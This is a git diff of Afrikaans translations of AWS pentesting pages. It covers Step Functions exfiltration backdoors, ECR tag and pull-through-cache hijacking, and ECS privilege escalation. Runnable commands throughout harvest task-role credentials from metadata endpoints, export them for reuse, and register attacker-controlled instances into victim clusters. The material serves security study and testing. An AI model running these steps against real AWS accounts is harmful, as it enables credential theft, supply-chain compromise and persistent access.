+Hierdie scenario gaan daarvan uit dat die slagoffer **AWS Step Functions gebruik om workflows te orkestreer wat sensitiewe invoer verwerk**, soos credentials, tokens, of PII.

 Voorbeeld slagoffer-aanroep:
 ```bash
@@ -97,7 +139,7 @@ aws stepfunctions start-execution \
 --state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
 --input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
 ```
-As die Step Function gekonfigureer is om 'n Lambda soos `LegitBusinessLogic` aan te roep, kan die aanvaller voortgaan met **twee onopvallende aanvalvariante**:
+Indien die Step Function gekonfigureer is om 'n Lambda soos `LegitBusinessLogic` aan te roep, kan die aanvaller voortgaan met **twee onopvallende aanval-variante**:

 ---

@@ -122,9 +164,9 @@ aws lambda update-function-code \
 ```
 ---

-#### Voeg 'n Kwaadaardige State by die Step Function
+#### Voeg 'n kwaadaardige toestand by die Step Function

-Alternatiewelik kan die aanvaller 'n **exfiltration state** aan die begin van die werkvloei invoeg deur die Step Function-definisie op te dateer.
+Alternatiewelik kan die aanvaller 'n **exfiltration state** aan die begin van die werkvloei injekteer deur die Step Function-definisie by te werk.
 ```malicious_state_definition.json
 {
 "Comment": "Backdoored for Exfiltration",
@@ -145,7 +187,7 @@ aws stepfunctions update-state-machine \
 --state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
 --definition file://malicious_state_definition.json --profile attacker
 ```
-Die aanvaller kan selfs meer stilweg die state-definisie bywerk na iets soos die volgende
+Die aanvaller kan selfs meer onopgemerk die state-definisie bywerk na iets soos dit
 {
 "Comment": "Backdoored for Exfiltration",
 "StartAt": "ExfiltrateSecrets",
@@ -168,18 +210,18 @@ waar die slagoffer nie die verskil sal besef nie

 ---

-### Slagoffer-opstelling (Konteks vir Exploit)
+### Slagoffer-opstelling (Konteks for Exploit)

 - 'n Step Function (`LegitStateMachine`) word gebruik om sensitiewe gebruikersinvoer te verwerk.
- Dit roep een of meer Lambda-funksies aan soos `LegitBusinessLogic`.
+- Dit roep een of meer Lambda-funksies soos `LegitBusinessLogic`.

 ---

 **Potensiële impak**:
- Stilswyende exfiltration van sensitiewe data, insluitend secrets, credentials, API keys, en PII.
- Geen sigbare foute of mislukking in workflow-uitvoering nie.
- Moeilik om te bespeur sonder om Lambda-kode of uitvoeringstrace te oudit.
- Maak langtermyn persistentie moontlik as die backdoor in die kode of ASL-logika bly.
+- Stil exfiltrasie van sensitiewe data, insluitend secrets, credentials, API keys en PII.
+- Geen sigbare foute of mislukkings in workflow-uitvoering nie.
+- Moeilik om te ontdek sonder om Lambda-kode of uitvoeringstraces te oudit.
+- Maak langtermyn persistentie moontlik as backdoor in kode of ASL-logika bly.


 {{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md
@@ -6,21 +6,31 @@

 ### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`

-'n aanvaller met die **`ecr:GetAuthorizationToken`** en **`ecr:BatchGetImage`** kan by ECR aanmeld en beelde aflaai.
+An attacker with the **`ecr:GetAuthorizationToken`** and **`ecr:BatchGetImage`** can login to ECR and download images.

-Vir meer inligting oor hoe om beelde af te laai:
+For more info on how to download images:

 {{#ref}}
 ../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
 {{#endref}}

-**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die verkeer af te vang.
+**Potensiële impak:** Indirekte privesc deur sensitiewe inligting in die verkeer te onderskep.

 ### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`

-'n aanvaller met al daardie toestemmings **kan by ECR aanmeld en beelde oplaai**. Dit kan nuttig wees om voorregte na ander omgewings te eskaleer waar daardie beelde gebruik word.
+An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.

-Om te leer hoe om 'n nuwe beeld op te laai/een op te dateer, kyk:
+In addition, `ecr:PutImage` can be used to **overwrite an existing tag** (for example `stable` / `prod`) by uploading a different image manifest under that tag, effectively hijacking tag-based deployments.
+
+This becomes especially impactful when downstream consumers deploy by tag and **auto-refresh** on tag changes, such as:
+
+- **Lambda container image functions** (`PackageType=Image`) referencing `.../repo:stable`
+- ECS services / Kubernetes workloads pulling `repo:prod` (without digest pinning)
+- Any CI/CD that redeploys on ECR events
+
+In those cases, a tag overwrite can lead to **remote code execution** in the consumer environment and privilege escalation to the IAM role used by that workload (for example, a Lambda execution role with `secretsmanager:GetSecretValue`).
+
+To learn how to upload a new image/update one, check:

 {{#ref}}
 ../../aws-services/aws-eks-enum.md
@@ -28,12 +38,12 @@ Om te leer hoe om 'n nuwe beeld op te laai/een op te dateer, kyk:

 ### `ecr-public:GetAuthorizationToken`, `ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload`, `ecr-public:InitiateLayerUpload, ecr-public:PutImage`, `ecr-public:UploadLayerPart`

-Soos die vorige afdeling, maar vir openbare repositories.
+Like the previous section, but for public repositories.

 ### `ecr:SetRepositoryPolicy`

-'n aanvaller met hierdie toestemming kan die **repository** **policy** verander om homself (of selfs almal) **lees/skryf toegang** te gee.\
-Byvoorbeeld, in hierdie voorbeeld word lees-toegang aan almal gegee.
+An attacker with this permission could **change** the **repository** **beleid** to grant himself (or even everyone) **lees/skryf toegang**.\
+For example, in this example read access is given to everyone.
 ```bash
 aws ecr set-repository-policy \
 --repository-name <repo_name> \
@@ -59,8 +69,8 @@ Inhoud van `my-policy.json`:
 ```
 ### `ecr-public:SetRepositoryPolicy`

-Soos die vorige afdeling, maar vir publieke repositories.\
-’n aanvaller kan die **repository policy** van ’n ECR Public repository wysig om ongemagtigde openbare toegang te verleen of om hul voorregte te eskaleer.
+Soos die vorige afdeling, maar vir openbare repositories.\
+'n aanvaller kan **die repository policy wysig** van 'n ECR Public repository om ongemagtigde openbare toegang te verleen of hul voorregte te eskaleer.
 ```bash
 # Create a JSON file with the malicious public repository policy
 echo '{
@@ -87,11 +97,11 @@ echo '{
 # Apply the malicious public repository policy to the ECR Public repository
 aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
 ```
-**Potensiële impak**: Onbevoegde openbare toegang tot die ECR Public repository, wat enigiemand toelaat om images te push, pull of delete.
+**Potensiële impak**: Ongemagtigde openbare toegang tot die ECR Public repository wat enigiemand toelaat om images te push, pull of te delete.

 ### `ecr:PutRegistryPolicy`

-’n aanvaller met hierdie toestemming kan die **registerbeleid** **verander** om homself, sy rekening (of selfs almal) **lees/skryf toegang** te verleen.
+'n aanvaller met hierdie toestemming kan die **registry policy** **verander** om homself, sy rekening (of selfs almal) **lees/skryf toegang** te gee.
 ```bash
 aws ecr set-repository-policy \
 --repository-name <repo_name> \
@@ -99,40 +109,40 @@ aws ecr set-repository-policy \
 ```
 ### ecr:CreatePullThroughCacheRule

-Misbruik ECR Pull Through Cache (PTC) reëls om 'n attacker-controlled upstream-naamruimte na 'n vertroude private ECR-voorvoegsel te koppel. Dit laat workloads wat vanaf die private ECR trek, deursigtig attacker images ontvang sonder enige push na die private ECR.
+Misbruik ECR Pull Through Cache (PTC)-reëls om 'n deur die aanvaller beheerste upstream-naamruimte aan 'n vertroude private ECR-voorvoegsel te koppel. Dit laat workloads wat vanaf die private ECR pull, deursigtig aanvaller-images ontvang sonder om enige push na die private ECR te doen.

- Vereiste perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
- Tested upstream: public.ecr.aws
+- Benodigde perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Indien 'n ECR Public upstream gebruik word: ecr-public:* om te create/push na die publieke repo.
+- Getoets upstream: public.ecr.aws

 Stappe (voorbeeld):

-1. Bereid attacker image in ECR Public voor
+1. Berei 'n aanvaller-image voor in ECR Public
 # Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
 docker login public.ecr.aws/<public_alias>
 docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
 docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

-2. Skep die PTC-reël in private ECR om 'n vertroude voorvoegsel aan die public registry te koppel
+2. Skep die PTC-reël in die private ECR om 'n vertroude voorvoegsel na die publieke register te koppel
 aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws

-3. Trek die attacker image via die private ECR-pad (geen push na private ECR is gedoen nie)
+3. Pull die aanvaller-image via die private ECR-pad (geen push na die private ECR is uitgevoer nie)
 docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
 docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
 docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

-Potential Impact: Voorsieningsketting-kompromittering deur interne image-names onder die gekose voorvoegsel te kaap. Enige workload wat beelde vanaf die private ECR trek en daardie voorvoegsel gebruik, sal attacker-controlled inhoud ontvang.
+Potensiële impak: Voorsieningskettingkompromittering deur interne image-name onder die gekose voorvoegsel te kaap. Enige workload wat images vanaf die private ECR met daardie voorvoegsel pull, sal deur die aanvaller beheerste inhoud ontvang.

 ### `ecr:PutImageTagMutability`

-Misbruik hierdie toestemming om 'n repository met tag immutability na mutabel om te skakel en vertroude tags (bv. latest, stable, prod) met attacker-controlled inhoud oor te skryf.
+Misbruik hierdie permissie om 'n repository met tag-immutability na mutabel te omskep en vertroude tags (bv. latest, stable, prod) met deur die aanvaller beheerste inhoud te oorskryf.

- Vereiste perms: `ecr:PutImageTagMutability` plus push capabilities (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
- Impak: Voorsieningsketting-kompromittering deur immuteerbare tags stilweg te vervang sonder om tagname te verander.
+- Benodigde perms: `ecr:PutImageTagMutability` plus push-vermoëns (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
+- Impak: Voorsieningskettingkompromittering deur stilweg onveranderlike tags te vervang sonder om tag-name te verander.

 Stappe (voorbeeld):

 <details>
-<summary>Vergiftig 'n immuteerbare tag deur mutability om te skakel</summary>
+<summary>Vergiftig 'n onveranderlike tag deur die mutability om te skakel</summary>
 ```bash
 REGION=us-east-1
 REPO=ht-immutable-demo-$RANDOM
@@ -152,14 +162,14 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
 </details>


-#### Globale register kaping via ROOT Pull-Through Cache rule
+#### Globale registrasiekaping via ROOT Pull-Through Cache reël

-Skep 'n Pull-Through Cache (PTC) rule met die spesiale `ecrRepositoryPrefix=ROOT` om die wortel van die private ECR registry na 'n upstream publieke registry te map (bv., ECR Public). Enige pull na 'n nie-bestaande repository in die private registry sal deursigtig vanaf upstream bedien word, wat supply-chain hijacking moontlik maak sonder om na private ECR te push.
+Skep 'n Pull-Through Cache (PTC) reël wat die spesiale `ecrRepositoryPrefix=ROOT` gebruik om die wortel van die private ECR-register na 'n upstream publieke register (bv., ECR Public) te karteer. Enige pull na 'n nie-bestaande repository in die private register sal deursigtig vanaf upstream bedien word, wat supply-chain hijacking moontlik maak sonder om na private ECR te push.

- Vereiste perms: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
- Impak: Pulls na `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` slaag en skep outomaties private repos wat vanaf upstream afkomstig is.
+- Benodigde perms: `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
+- Impak: Pulls na `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` slaag en skep outomaties private repos wat vanaf upstream gekom het.

-> Let wel: Vir `ROOT` rules, laat `--upstream-repository-prefix` weg. As jy dit verskaf sal dit 'n valideringsfout veroorsaak.
+> Nota: Vir `ROOT`-reëls, laat `--upstream-repository-prefix` uit. Om dit te verskaf sal 'n validasiefout veroorsaak.

 <details>
 <summary>Demo (us-east-1, upstream public.ecr.aws)</summary>
@@ -191,17 +201,17 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
 ```
 </details>

-### `ecr:PutAccountSetting` (Teruggradeer `REGISTRY_POLICY_SCOPE` om registry policy denies te omseil)
+### `ecr:PutAccountSetting` (Downgrade `REGISTRY_POLICY_SCOPE` to bypass registry policy denies)

-Misbruik `ecr:PutAccountSetting` om die registry policy scope van `V2` (beleid wat op alle ECR-aksies toegepas word) na `V1` (beleid slegs toegepas op `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`) te skuif. As 'n beperkende registry policy Deny aksies soos `CreatePullThroughCacheRule` blokkeer, verwyder 'n afgradering na `V1` daardie afdwinging sodat identity‑policy Allows in werking tree.
+Misbruik `ecr:PutAccountSetting` om die omvang van die registry‑beleid te wissel van `V2` (beleid wat op alle ECR‑aksies toegepas word) na `V1` (beleid wat slegs op `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage` toegepas word). As 'n beperkende registry policy Deny aksies soos `CreatePullThroughCacheRule` blokkeer, verwyder 'n afgradering na `V1` daardie afdwinging sodat identity‑policy Allows in werking tree.

 - Benodigde perms: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Impak: Vermoë om ECR-aksies uit te voer wat voorheen deur 'n registry policy Deny geblokkeer is (bv. skep PTC-reëls) deur tydelik die scope op `V1` te stel.
+- Impact: Vermoë om ECR‑aksies uit te voer wat voorheen deur 'n registry policy Deny geblokkeer is (bv. skep PTC‑reëls) deur tydelik die scope op `V1` te stel.

 Stappe (voorbeeld):

 <details>
-<summary>Omseil registry policy Deny op CreatePullThroughCacheRule deur na V1 oor te skakel</summary>
+<summary>Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1</summary>
 ```bash
 REGION=us-east-1
 ACCT=$(aws sts get-caller-identity --query Account --output text)
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md
@@ -12,7 +12,7 @@ Meer **inligting oor ECS** in:

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`

-'n aanvaller wat misbruik maak van die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS kan **'n nuwe task definition genereer** met 'n **kwaadaardige container** wat die metadata credentials steel en dit **uitvoer**.
+'n aanvaller wat misbruik maak van die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS kan **generate a new task definition** met 'n **malicious container** wat die **metadata credentials** steel en dit **run it**.

 {{#tabs }}
 {{#tab name="Reverse Shell" }}
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1

 {{#endtabs }}

-**Potential Impact:** Direkte privesc na 'n ander ECS role.
+**Potensiële impak:** Direkte privesc na 'n ander ECS rol.

 ### `iam:PassRole`,`ecs:RunTask`
-’n aanvaller wat `iam:PassRole` en `ecs:RunTask` permissies het, kan ’n nuwe ECS taak begin met gewysigde **execution role**, **task role** en die houer se **command** waardes. Die `ecs run-task` CLI command bevat die `--overrides` vlag wat toelaat om tydens runtime die `executionRoleArn`, `taskRoleArn` en die houer se `command` te verander sonder om die task definition aan te raak.
+'n Aanvaller wat `iam:PassRole` en `ecs:RunTask` regte het, kan 'n nuwe ECS taak begin met aangepaste **execution role**, **task role** en die container se **command** waardes. Die `ecs run-task` CLI-opdrag bevat die `--overrides` vlag wat toelaat om tydens runtime die `executionRoleArn`, `taskRoleArn` en die container se `command` te verander sonder om die task definition aan te raak.

-Die gespesifiseerde IAM rolle vir `taskRoleArn` en `executionRoleArn` moet vertrou/toelaat om deur die `ecs-tasks.amazonaws.com` aangegaan te word in sy trust policy.
+Die gespesifiseerde IAM-rolle vir `taskRoleArn` en `executionRoleArn` moet toestaan dat hulle deur `ecs-tasks.amazonaws.com` aangeneem kan word in hul trust policy.

 Verder moet die aanvaller weet:
- ECS cluster naam
+- ECS cluster name
 - VPC Subnet
- Security group (Indien geen security group gespesifiseer is, sal die standaard een gebruik word)
- Task Definition Name en revision
- Naam van die Container
+- Security group (Indien geen security group gespesifiseer is, sal die verstek een gebruik word)
+- Task Definition Name and revision
+- Name of the Container
 ```bash
 aws ecs run-task \
 --cluster <cluster-name> \
@@ -105,9 +105,9 @@ aws ecs run-task \
 ]
 }'
 ```
-In die kodefragment hierbo oorskryf 'n aanvaller slegs die waarde van `taskRoleArn`. Die aanvaller moet egter die `iam:PassRole`-permisisie hê oor die `taskRoleArn` wat in die opdrag gespesifiseer is en oor die `executionRoleArn` wat in die taakdefinisie gespesifiseer is, sodat die aanval kan plaasvind.
+In die kodefragment hierbo oorskryf 'n attacker slegs die `taskRoleArn`-waarde. Die attacker moet egter die `iam:PassRole`-toestemming hê oor die `taskRoleArn` wat in die opdrag gespesifiseer is en die `executionRoleArn` wat in die taakdefinisie gespesifiseer is, vir die attack om plaas te vind.

-As die IAM-rol wat die aanvaller kan deurgee voldoende voorregte het om 'n ECR-image te trek en die ECS-taak te begin (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) kan die aanvaller dieselfde IAM-rol vir beide `executionRoleArn` en `taskRoleArn` in die `ecs run-task` opdrag spesifiseer.
+As die IAM-rol wat die attacker kan pass genoeg voorregte het om 'n ECR-image te pull en die ECS-task te start (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), kan die attacker dieselfde IAM-rol vir beide `executionRoleArn` en `taskRoleArn` in die `ecs run-task` opdrag spesifiseer.
 ```sh
 aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
 {
@@ -125,8 +125,7 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config

 ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`

-Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissies in ECS **'n nuwe taakdefinisie genereer** met 'n **kwaadwillige container** wat die metadata credentials steel en dit **laat loop**.\
-Echter, in hierdie geval moet 'n container-instansie beskikbaar wees om die kwaadwillige taakdefinisie te laat loop.
+Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissies in ECS **'n nuwe taakdefinisie genereer** met 'n **kwaadwillige container** wat die metagegewens-aanmeldbewyse steel en dit **uitvoer**.\ In hierdie geval moet daar egter 'n container-instansie wees om die kwaadwillige taakdefinisie uit te voer.
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +141,11 @@ aws ecs start-task --task-definition iam_exfiltration \
 ## You need to remove all the versions (:1 is enough if you just created one)
 aws ecs deregister-task-definition --task-definition iam_exfiltration:1
 ```
-**Potensiële impak:** Direkte privesc tot enige ECS role.
+**Potential Impact:** Direkte privesc na enige ECS-rol.

-### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
+### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` 

-Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** permissies in ECS **'n nuwe task definition genereer** met 'n **malicious container** wat die **metadata credentials** steel en dit **laat loop deur 'n nuwe service te skep met ten minste 1 task wat hardloop.**
+Net soos in die vorige voorbeeld kan 'n attacker wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** toestemmings in ECS **'n nuwe task definition genereer** met 'n **malicious container** wat die metadata credentials steel en **dit laat hardloop deur 'n nuwe service te skep met ten minste 1 task wat loop.**
 ```bash
 # Generate task definition with rev shell
 aws ecs register-task-definition --family iam_exfiltration \
@@ -169,11 +168,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
 --service <SERVICE NAME> \
 --task-definition <NEW TASK DEFINITION NAME>
 ```
-**Potensiële impak:** Direkte privesc na enige ECS-rol.
+**Potensiële impak:** Direkte privesc na enige ECS rol.

-### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`)
+### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`

-In werklikheid, net met daardie bevoegdhede is dit moontlik om overrides te gebruik om willekeurige kommando's in 'n container as 'n willekeurige rol uit te voer met iets soos:
+Inderdaad, slegs met daardie toestemmings is dit moontlik om overrides te gebruik om arbitrêre kommando's in 'n container uit te voer met 'n arbitrêre rol met iets soos:
 ```bash
 aws ecs run-task \
 --task-definition "<task-name>" \
@@ -181,16 +180,16 @@ aws ecs run-task \
 --cluster <cluster-name> \
 --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
 ```
-**Potential Impact:** Direkte privesc na enige ECS role.
+**Potential Impact:** Direkte privesc na enige ECS-rol.

 ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

-Hierdie scenario is soos die vorige, maar **zonder** die **`iam:PassRole`** permissie.\
-Dit is steeds interessant omdat as jy 'n arbitrêre container kan uitvoer, selfs al is dit sonder 'n rol, kan jy **run a privileged container to escape** na die node en **steal the EC2 IAM role** en die **other ECS containers roles** wat op die node loop, steel.\
-Jy kan selfs **force other tasks to run inside the EC2 instance** wat jy kompromitteer om hul credentials te steel (soos bespreek in die [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
+Hierdie scenario is soos die vorige maar **sonder** die **`iam:PassRole`** toestemming.\
+Dit is steeds interessant want as jy 'n ewekansige container kan laat loop, selfs al is dit sonder 'n rol, kan jy **'n bevoorregte container laat loop om na die node te ontsnap** en **die EC2 IAM-rol te steel** en **die rolle van ander ECS-containers** wat op die node loop.\
+Jy kan selfs **ander take dwing om binne die EC2-instansie te laat loop** wat jy kompromiteer om hul geloofsbriewe te steel (soos bespreek in die [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).

 > [!WARNING]
-> Hierdie aanval is slegs moontlik as die **ECS cluster is using EC2** instances en nie Fargate nie.
+> Hierdie aanval is slegs moontlik as die **ECS cluster EC2-instansies gebruik** en nie Fargate nie.
 ```bash
 printf '[
 {
@@ -233,12 +232,12 @@ aws ecs run-task --task-definition iam_exfiltration \
 ```
 ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**

-Een aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **kommando's uitvoer** binne 'n lopende container en die IAM-rol wat daaraan gekoppel is uittrek (jy het die describe-permissies nodig omdat dit nodig is om `aws ecs execute-command` uit te voer).\
-Ewenwel, om dit te kan doen, moet die container-instansie die **ExecuteCommand agent** laat loop (wat standaard nie aan is nie).
+'n aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende kontainer en die daaraan gekoppelde IAM-rol eksfiltreer (jy het die describe-permissies nodig omdat dit nodig is om `aws ecs execute-command` te kan uitvoer).\
+Om dit te doen moet die kontainer-instansie egter die **ExecuteCommand agent** laat loop (wat per verstek nie so is nie).

 Daarom kan die aanvaller probeer:

- **Probeer om 'n kommando in elke lopende container uit te voer**
+- **Probeer 'n opdrag uitvoer** in elke lopende kontainer
 ```bash
 # List enableExecuteCommand on each task
 for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -256,18 +255,34 @@ aws ecs execute-command --interactive \
 --cluster "$CLUSTER_ARN" \
 --task "$TASK_ARN"
 ```
- As hy **`ecs:RunTask`** het, voer 'n taak uit met `aws ecs run-task --enable-execute-command [...]`
- As hy **`ecs:StartTask`** het, voer 'n taak uit met `aws ecs start-task --enable-execute-command [...]`
- As hy **`ecs:CreateService`** het, skep 'n service met `aws ecs create-service --enable-execute-command [...]`
- As hy **`ecs:UpdateService`** het, werk 'n service by met `aws ecs update-service --enable-execute-command [...]`
+Sodra jy 'n shell binne die container het, kan jy gewoonlik **extract the task role credentials** vanaf die task credentials endpoint en dit buite die container hergebruik:
+```sh
+# Inside the container:
+echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
+curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq
+
+# If you want to use them locally, print shell exports:
+python3 - <<'PY'
+import json, os, urllib.request
+u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
+d = json.load(urllib.request.urlopen(u, timeout=2))
+print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
+print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
+print("export AWS_SESSION_TOKEN=" + d["Token"])
+PY
+```
+- As hy die toestemming **`ecs:RunTask`** het, voer 'n taak uit met `aws ecs run-task --enable-execute-command [...]`
+- As hy die toestemming **`ecs:StartTask`** het, voer 'n taak uit met `aws ecs start-task --enable-execute-command [...]`
+- As hy die toestemming **`ecs:CreateService`** het, skep 'n service met `aws ecs create-service --enable-execute-command [...]`
+- As hy die toestemming **`ecs:UpdateService`** het, werk 'n service by met `aws ecs update-service --enable-execute-command [...]`

 Jy kan **voorbeelde van daardie opsies** vind in **vorige ECS privesc-afdelings**.

-**Potential Impact:** Privesc na 'n ander rol wat aan containers gekoppel is.
+**Potensiële impak:** Privesc na 'n ander rol wat aan containers gekoppel is.

 ### `ssm:StartSession`

-Kyk op die **ssm privesc page** hoe jy hierdie permissie kan misbruik om **privesc na ECS**:
+Kyk op die **ssm privesc bladsy** hoe jy hierdie toestemming kan misbruik om te **privesc na ECS**:

 {{#ref}}
 ../aws-ssm-privesc/README.md
@@ -275,7 +290,7 @@ Kyk op die **ssm privesc page** hoe jy hierdie permissie kan misbruik om **prive

 ### `iam:PassRole`, `ec2:RunInstances`

-Kyk op die **ec2 privesc page** hoe jy hierdie permissies kan misbruik om **privesc na ECS**:
+Kyk by die **ec2 privesc bladsy** hoe jy hierdie toestemmings kan misbruik om na **ECS te privesc**:

 {{#ref}}
 ../aws-ec2-privesc/README.md
@@ -283,9 +298,43 @@ Kyk op die **ec2 privesc page** hoe jy hierdie permissies kan misbruik om **priv

 ### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`

-'n Aanvaller met hierdie permissies kan moontlik 'n EC2-instansie in 'n ECS-kluster registreer en take daarop laat loop. Dit kan die aanvaller toelaat om willekeurige kode binne die konteks van die ECS-take uit te voer.
+'n Aanvaller met hierdie toestemmings kan dikwels **'turn "cluster membership" into a security boundary bypass'**:

- TODO: Is dit moontlik om 'n instansie vanaf 'n ander AWS-rekening te registreer sodat take op masjiene wat deur die aanvaller beheer word, uitgevoer word??
+- Registreer 'n **attacker-controlled EC2 instance** in 'n slagoffer se ECS cluster (wat 'n container instance word)
+- Stel pasgemaakte **container instance attributes** in om aan **placement constraints** te voldoen
+- Laat ECS tasks op daardie gasheer skeduleer
+- Steel **task role credentials** (en enige secrets/data binne die container) vanaf die task wat op jou gasheer loop
+
+Hoëvlak werkvloei:
+
+1) Verkry 'n EC2 instance identity document + signature vanaf 'n EC2 instance wat jy beheer in die teikenrekening (byvoorbeeld via SSM/SSH):
+```bash
+curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
+curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
+```
+2) Registreer dit in die teikenkluster, stel opsioneel attribuite om plaasingsbeperkings te vervul:
+```bash
+aws ecs register-container-instance \
+--cluster "$CLUSTER" \
+--instance-identity-document file://iidoc.json \
+--instance-identity-document-signature "$(cat iisig)" \
+--attributes name=labtarget,value=hijack
+```
+3) Bevestig dat dit aangesluit het:
+```bash
+aws ecs list-container-instances --cluster "$CLUSTER"
+```
+4) Begin 'n task / werk 'n service by sodat iets op die instance geskeduleer word, en oes dan task role creds van binne die task:
+```bash
+# On the container host:
+docker ps
+docker exec -it <container-id> sh
+curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
+```
+Notes:
+
